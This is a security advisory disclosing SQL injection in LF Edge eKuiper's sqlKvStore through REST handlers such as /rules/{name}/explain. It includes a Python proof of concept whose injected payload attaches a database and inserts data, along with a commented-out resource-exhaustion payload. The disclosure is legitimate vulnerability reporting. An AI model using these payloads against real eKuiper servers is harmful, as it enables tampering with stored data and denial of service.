LF Edge eKuiper has a SQL Injection in sqlKvStore
### Summary
A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore.
### Details
I will use explainRuleHandler ("/rules/{name}/explain") as an example to illustrate. However, this vulnerability also exists in other methods such as sourceManageHandler, asyncTaskCancelHandler, pluginHandler, etc.
The SQL injection can happen in the code:
https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L89-L93
The code to accept user input is:
https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/server/rest.go#L274-L277
The rule id in the above code can be used to exploit SQL query.
Note that the delete function is also vulnerable:
https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L138-L141
### PoC
```
import requests
from urllib.parse import quote
# SELECT val FROM 'xxx' WHERE key='%s';
payload = f"""'; ATTACH DATABASE 'test93' AS test93;
CREATE TABLE test93.pwn (dataz text);
INSERT INTO test93.pwn (dataz) VALUES ("sql injection");--"""
#payload = "deadbeef'; SELECT 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))));--"
url = f"
http://127.0.0.1:9081/rules/{quote(payload,safe='')}/explain" # explainRuleHandler
res = requests.get(url)
print(res.content)
```
The screenshot shows the malicious SQL query to insert a value:
!image
https://github.com/user-attachments/assets/baf035cc-a561-4909-8d1f-e455e75375cb
The screenshot shows the breakpoint of executing the query:
!image
https://github.com/user-attachments/assets/b9c29945-a0cc-4271-bdc8-c1bddfda5b6f
### Impact
SQL Injection vulnerability
The reporters are Yuan Luo, Shuai Xiong, Haoyu Wang from Tencent YunDing Security Lab.